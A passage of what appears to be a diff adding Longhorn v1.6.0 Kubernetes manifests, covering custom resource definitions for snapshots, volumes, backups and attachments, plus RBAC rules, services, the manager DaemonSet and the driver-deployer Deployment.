used for creating a share manager pod + type: string + type: object + status: + description: ShareManagerStatus defines the observed state of the Longhorn share manager + properties: + endpoint: + description: NFS endpoint that can access the mounted filesystem of the volume + type: string + ownerID: + description: The node ID on which the controller is responsible to reconcile this share manager resource + type: string + state: + description: The state of the share manager resource + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: snapshots.longhorn.io +spec: + group: longhorn.io + names: + kind: Snapshot + listKind: SnapshotList + plural: snapshots + shortNames: + - lhsnap + singular: snapshot + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The volume that this snapshot belongs to + jsonPath: .spec.volume + name: Volume + type: string + - description: Timestamp when the point-in-time snapshot was taken + jsonPath: .status.creationTime + name: CreationTime + type: string + - description: Indicates if the snapshot is ready to be used to restore/backup a volume + jsonPath: .status.readyToUse + name: ReadyToUse + type: boolean + - description: Represents the minimum size of volume required to rehydrate from this snapshot + jsonPath: .status.restoreSize + name: RestoreSize + type: string + - description: The actual size of the snapshot + jsonPath: .status.size + name: Size + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Snapshot is the Schema for the snapshots API + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SnapshotSpec defines the desired state of Longhorn Snapshot + properties: + createSnapshot: + description: require creating a new snapshot + type: boolean + labels: + additionalProperties: + type: string + description: The labels of snapshot + nullable: true + type: object + volume: + description: the volume that this snapshot belongs to. This field is immutable after creation. Required + type: string + required: + - volume + type: object + status: + description: SnapshotStatus defines the observed state of Longhorn Snapshot + properties: + checksum: + type: string + children: + additionalProperties: + type: boolean + nullable: true + type: object + creationTime: + type: string + error: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + markRemoved: + type: boolean + ownerID: + type: string + parent: + type: string + readyToUse: + type: boolean + restoreSize: + format: int64 + type: integer + size: + format: int64 + type: integer + userCreated: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: supportbundles.longhorn.io +spec: + group: longhorn.io + names: + kind: SupportBundle + listKind: SupportBundleList + plural: supportbundles + shortNames: + - lhbundle + singular: supportbundle + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the support bundle + jsonPath: .status.state + name: State + type: string + - description: The issue URL + jsonPath: .spec.issueURL + name: Issue + type: string + - description: A brief description of the issue + jsonPath: .spec.description + name: Description + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SupportBundle is where Longhorn stores support bundle object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SupportBundleSpec defines the desired state of the Longhorn SupportBundle + properties: + description: + description: A brief description of the issue + type: string + issueURL: + description: The issue URL + nullable: true + type: string + nodeID: + description: The preferred responsible controller node ID. + type: string + required: + - description + type: object + status: + description: SupportBundleStatus defines the observed state of the Longhorn SupportBundle + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + type: array + filename: + type: string + filesize: + format: int64 + type: integer + image: + description: The support bundle manager image + type: string + managerIP: + description: The support bundle manager IP + type: string + ownerID: + description: The current responsible controller node ID + type: string + progress: + type: integer + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systembackups.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemBackup + listKind: SystemBackupList + plural: systembackups + shortNames: + - lhsb + singular: systembackup + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system backup Longhorn version + jsonPath: .status.version + name: Version + type: string + - description: The system backup state + jsonPath: .status.state + name: State + type: string + - description: The system backup creation time + jsonPath: .status.createdAt + name: Created + type: string + - description: The last time that the system backup was synced into the cluster + jsonPath: .status.lastSyncedAt + name: LastSyncedAt + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemBackup is where Longhorn stores system backup object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemBackupSpec defines the desired state of the Longhorn SystemBackup + properties: + volumeBackupPolicy: + description: The create volume backup policy Can be "if-not-present", "always" or "disabled" + nullable: true + type: string + type: object + status: + description: SystemBackupStatus defines the observed state of the Longhorn SystemBackup + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + createdAt: + description: The system backup creation time. + format: date-time + type: string + gitCommit: + description: The saved Longhorn manager git commit. + nullable: true + type: string + lastSyncedAt: + description: The last time that the system backup was synced into the cluster. + format: date-time + nullable: true + type: string + managerImage: + description: The saved manager image. + type: string + ownerID: + description: The node ID of the responsible controller to reconcile this SystemBackup. + type: string + state: + description: The system backup state. + type: string + version: + description: The saved Longhorn version. + nullable: true + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: systemrestores.longhorn.io +spec: + group: longhorn.io + names: + kind: SystemRestore + listKind: SystemRestoreList + plural: systemrestores + shortNames: + - lhsr + singular: systemrestore + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The system restore state + jsonPath: .status.state + name: State + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: SystemRestore is where Longhorn stores system restore object + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: SystemRestoreSpec defines the desired state of the Longhorn SystemRestore + properties: + systemBackup: + description: The system backup name in the object store. + type: string + required: + - systemBackup + type: object + status: + description: SystemRestoreStatus defines the observed state of the Longhorn SystemRestore + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + description: The node ID of the responsible controller to reconcile this SystemRestore. + type: string + sourceURL: + description: The source system backup URL. + type: string + state: + description: The system restore state. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Volume + listKind: VolumeList + plural: volumes + shortNames: + - lhv + singular: volume + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions['scheduled']['status'] + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the volume + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the volume + jsonPath: .status.state + name: State + type: string + - description: The robustness of the volume + jsonPath: .status.robustness + name: Robustness + type: string + - description: The scheduled condition of the volume + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Scheduled + type: string + - description: The size of the volume + jsonPath: .spec.size + name: Size + type: string + - description: The node that the volume is currently attaching to + jsonPath: .status.currentNodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Volume is where Longhorn stores volume object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeSpec defines the desired state of the Longhorn volume + properties: + Standby: + type: boolean + accessMode: + enum: + - rwo + - rwx + type: string + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + backupCompressionMethod: + enum: + - none + - lz4 + - gzip + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + dataLocality: + enum: + - disabled + - best-effort + - strict-local + type: string + dataSource: + type: string + disableFrontend: + type: boolean + diskSelector: + items: + type: string + type: array + encrypted: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + fromBackup: + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + lastAttachedBy: + type: string + migratable: + type: boolean + migrationNodeID: + type: string + nodeID: + type: string + nodeSelector: + items: + type: string + type: array + numberOfReplicas: + type: integer + offlineReplicaRebuilding: + description: OfflineReplicaRebuilding is used to determine if the offline replica rebuilding feature is enabled or not + enum: + - ignored + - disabled + - enabled + type: string + replicaAutoBalance: + enum: + - ignored + - disabled + - least-effort + - best-effort + type: string + replicaDiskSoftAntiAffinity: + description: Replica disk soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same disk. + enum: + - ignored + - enabled + - disabled + type: string + replicaSoftAntiAffinity: + description: Replica soft anti affinity of the volume. Set enabled to allow replicas to be scheduled on the same node. + enum: + - ignored + - enabled + - disabled + type: string + replicaZoneSoftAntiAffinity: + description: Replica zone soft anti affinity of the volume. Set enabled to allow replicas to be scheduled in the same zone. + enum: + - ignored + - enabled + - disabled + type: string + restoreVolumeRecurringJob: + enum: + - ignored + - enabled + - disabled + type: string + revisionCounterDisabled: + type: boolean + size: + format: int64 + type: string + snapshotDataIntegrity: + enum: + - ignored + - disabled + - enabled + - fast-check + type: string + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + staleReplicaTimeout: + type: integer + unmapMarkSnapChainRemoved: + enum: + - ignored + - disabled + - enabled + type: string + type: object + status: + description: VolumeStatus defines the observed state of the Longhorn volume + properties: + actualSize: + format: int64 + type: integer + cloneStatus: + properties: + snapshot: + type: string + sourceVolume: + type: string + state: + type: string + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentMigrationNodeID: + description: the node that this volume is currently migrating to + type: string + currentNodeID: + type: string + expansionRequired: + type: boolean + frontendDisabled: + type: boolean + isStandby: + type: boolean + kubernetesStatus: + properties: + lastPVCRefAt: + type: string + lastPodRefAt: + type: string + namespace: + description: determine if PVC/Namespace is history or not + type: string + pvName: + type: string + pvStatus: + type: string + pvcName: + type: string + workloadsStatus: + description: determine if Pod/Workload is history or not + items: + properties: + podName: + type: string + podStatus: + type: string + workloadName: + type: string + workloadType: + type: string + type: object + nullable: true + type: array + type: object + lastBackup: + type: string + lastBackupAt: + type: string + lastDegradedAt: + type: string + offlineReplicaRebuildingRequired: + type: boolean + ownerID: + type: string + pendingNodeID: + description: Deprecated. + type: string + remountRequestedAt: + type: string + restoreInitiated: + type: boolean + restoreRequired: + type: boolean + robustness: + type: string + shareEndpoint: + type: string + shareState: + type: string + state: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: volumeattachments.longhorn.io +spec: + group: longhorn.io + names: + kind: VolumeAttachment + listKind: VolumeAttachmentList + plural: volumeattachments + shortNames: + - lhva + singular: volumeattachment + scope: Namespaced + versions: + - additionalPrinterColumns: + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: VolumeAttachment stores attachment information of a Longhorn volume + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: VolumeAttachmentSpec defines the desired state of Longhorn VolumeAttachment + properties: + attachmentTickets: + additionalProperties: + properties: + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + nodeID: + description: The node that this attachment is requesting + type: string + parameters: + additionalProperties: + type: string + description: Optional additional parameter for this attachment + type: object + type: + type: string + type: object + type: object + volume: + description: The name of Longhorn volume of this VolumeAttachment + type: string + required: + - volume + type: object + status: + description: VolumeAttachmentStatus defines the observed state of Longhorn VolumeAttachment + properties: + attachmentTicketStatuses: + additionalProperties: + properties: + conditions: + description: Record any error when trying to fulfill this attachment + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + generation: + description: A sequence number representing a specific generation of the desired state. Populated by the system. Read-only. + format: int64 + type: integer + id: + description: The unique ID of this attachment. Used to differentiate different attachments of the same volume. + type: string + satisfied: + description: Indicate whether this attachment ticket has been satisfied + type: boolean + required: + - conditions + - satisfied + type: object + type: object + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/clusterrole.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: longhorn-role + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +rules: +- apiGroups: + - apiextensions.k8s.io + resources: + - customresourcedefinitions + verbs: + - "*" +- apiGroups: [""] + resources: ["pods", "events", "persistentvolumes", "persistentvolumeclaims","persistentvolumeclaims/status", "nodes", "proxy/nodes", "pods/log", "secrets", "services", "endpoints", "configmaps", "serviceaccounts"] + verbs: ["*"] +- apiGroups: [""] + resources: ["namespaces"] + verbs: ["get", "list"] +- apiGroups: ["apps"] + resources: ["daemonsets", "statefulsets", "deployments"] + verbs: ["*"] +- apiGroups: ["batch"] + resources: ["jobs", "cronjobs"] + verbs: ["*"] +- apiGroups: ["policy"] + resources: ["poddisruptionbudgets", "podsecuritypolicies"] + verbs: ["*"] +- apiGroups: ["scheduling.k8s.io"] + resources: ["priorityclasses"] + verbs: ["watch", "list"] +- apiGroups: ["storage.k8s.io"] + resources: ["storageclasses", "volumeattachments", "volumeattachments/status", "csinodes", "csidrivers"] + verbs: ["*"] +- apiGroups: ["snapshot.storage.k8s.io"] + resources: ["volumesnapshotclasses", "volumesnapshots", "volumesnapshotcontents", "volumesnapshotcontents/status"] + verbs: ["*"] +- apiGroups: ["longhorn.io"] + resources: ["volumes", "volumes/status", "engines", "engines/status", "replicas", "replicas/status", "settings", + "engineimages", "engineimages/status", "nodes", "nodes/status", "instancemanagers", "instancemanagers/status", + "sharemanagers", "sharemanagers/status", "backingimages", "backingimages/status", + "backingimagemanagers", "backingimagemanagers/status", "backingimagedatasources", "backingimagedatasources/status", + "backuptargets", "backuptargets/status", "backupvolumes", "backupvolumes/status", "backups", "backups/status", + "recurringjobs", "recurringjobs/status", "orphans", "orphans/status", "snapshots", "snapshots/status", + "supportbundles", "supportbundles/status", "systembackups", "systembackups/status", "systemrestores", "systemrestores/status", + "volumeattachments", "volumeattachments/status", "backupbackingimages", "backupbackingimages/status"] + verbs: ["*"] +- apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["*"] +- apiGroups: ["metrics.k8s.io"] + resources: ["pods", "nodes"] + verbs: ["get", "list"] +- apiGroups: ["apiregistration.k8s.io"] + resources: ["apiservices"] + verbs: ["list", "watch"] +- apiGroups: ["admissionregistration.k8s.io"] + resources: ["mutatingwebhookconfigurations", "validatingwebhookconfigurations"] + verbs: ["get", "list", "create", "patch", "delete"] +- apiGroups: ["rbac.authorization.k8s.io"] + resources: ["roles", "rolebindings", "clusterrolebindings", "clusterroles"] + verbs: ["*"] +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-bind + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: longhorn-role +subjects: +- kind: ServiceAccount + name: longhorn-service-account + namespace: longhorn-system +--- +# Source: longhorn/templates/clusterrolebinding.yaml +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: longhorn-support-bundle + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: cluster-admin +subjects: +- kind: ServiceAccount + name: longhorn-support-bundle + namespace: longhorn-system +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: manager + port: 9500 + targetPort: manager +--- +# Source: longhorn/templates/deployment-ui.yaml +kind: Service +apiVersion: v1 +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-frontend + namespace: longhorn-system +spec: + type: LoadBalancer + selector: + app: longhorn-ui + ports: + - name: http + port: 8888 + targetPort: http + nodePort: null +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-conversion-webhook + name: longhorn-conversion-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: conversion-webhook + port: 9501 + targetPort: conversion-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-admission-webhook + name: longhorn-admission-webhook + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: admission-webhook + port: 9502 + targetPort: admission-wh +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-recovery-backend + name: longhorn-recovery-backend + namespace: longhorn-system +spec: + type: ClusterIP + selector: + app: longhorn-manager + ports: + - name: recovery-backend + port: 9503 + targetPort: recov-backend +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-engine-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: engine +--- +# Source: longhorn/templates/services.yaml +apiVersion: v1 +kind: Service +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + name: longhorn-replica-manager + namespace: longhorn-system +spec: + clusterIP: None + selector: + longhorn.io/component: instance-manager + longhorn.io/instance-manager-type: replica +--- +# Source: longhorn/templates/daemonset-sa.yaml +apiVersion: apps/v1 +kind: DaemonSet +metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + name: longhorn-manager + namespace: longhorn-system +spec: + selector: + matchLabels: + app: longhorn-manager + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-manager + spec: + containers: + - name: longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + command: + - longhorn-manager + - -d + - daemon + - --engine-image + - "longhornio/longhorn-engine:v1.6.0" + - --instance-manager-image + - "longhornio/longhorn-instance-manager:v1.6.0" + - --share-manager-image + - "longhornio/longhorn-share-manager:v1.6.0" + - --backing-image-manager-image + - "longhornio/backing-image-manager:v1.6.0" + - --support-bundle-manager-image + - "longhornio/support-bundle-kit:v0.0.33" + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --service-account + - longhorn-service-account + - --upgrade-version-check + ports: + - containerPort: 9500 + name: manager + - containerPort: 9501 + name: conversion-wh + - containerPort: 9502 + name: admission-wh + - containerPort: 9503 + name: recov-backend + readinessProbe: + httpGet: + path: /v1/healthz + port: 9501 + scheme: HTTPS + volumeMounts: + - name: dev + mountPath: /host/dev/ + - name: proc + mountPath: /host/proc/ + - name: longhorn + mountPath: /var/lib/longhorn/ + mountPropagation: Bidirectional + - name: longhorn-grpc-tls + mountPath: /tls-files/ + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: POD_IP + valueFrom: + fieldRef: + fieldPath: status.podIP + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + volumes: + - name: dev + hostPath: + path: /dev/ + - name: proc + hostPath: + path: /proc/ + - name: longhorn + hostPath: + path: /var/lib/longhorn/ + - name: longhorn-grpc-tls + secret: + secretName: longhorn-grpc-tls + optional: true + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + updateStrategy: + rollingUpdate: + maxUnavailable: "100%" +--- +# Source: longhorn/templates/deployment-driver.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: longhorn-driver-deployer + namespace: longhorn-system + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 +spec: + replicas: 1 + selector: + matchLabels: + app: longhorn-driver-deployer + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-driver-deployer + spec: + initContainers: + - name: wait-longhorn-manager + image: longhornio/longhorn-manager:v1.6.0 + command: ['sh', '-c', 'while [ $(curl -m 1 -s -o /dev/null -w "%{http_code}" http://longhorn-backend:9500/v1) != "200" ]; do echo waiting; sleep 2; done'] + containers: + - name: longhorn-driver-deployer + image: longhornio/longhorn-manager:v1.6.0 + imagePullPolicy: IfNotPresent + command: + - longhorn-manager + - -d + - deploy-driver + - --manager-image + - "longhornio/longhorn-manager:v1.6.0" + - --manager-url + - http://longhorn-backend:9500/v1 + env: + - name: POD_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: NODE_NAME + valueFrom: + fieldRef: + fieldPath: spec.nodeName + - name: SERVICE_ACCOUNT + valueFrom: + fieldRef: + fieldPath: spec.serviceAccountName + - name: CSI_ATTACHER_IMAGE + value: "longhornio/csi-attacher:v4.4.2" + - name: CSI_PROVISIONER_IMAGE + value: "longhornio/csi-provisioner:v3.6.2" + - name: CSI_NODE_DRIVER_REGISTRAR_IMAGE + value: "longhornio/csi-node-driver-registrar:v2.9.2" + - name: CSI_RESIZER_IMAGE + value: "longhornio/csi-resizer:v1.9.2" + - name: CSI_SNAPSHOTTER_IMAGE + value: "longhornio/csi-snapshotter:v6.3.2" + - name: CSI_LIVENESS_PROBE_IMAGE + value: "longhornio/livenessprobe:v2.11.0" + priorityClassName: "longhorn-critical" + serviceAccountName: longhorn-service-account + securityContext: + runAsUser: 0 +--- +# Source: longhorn/templates/deployment-ui.yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + labels: + app.kubernetes.io/name: 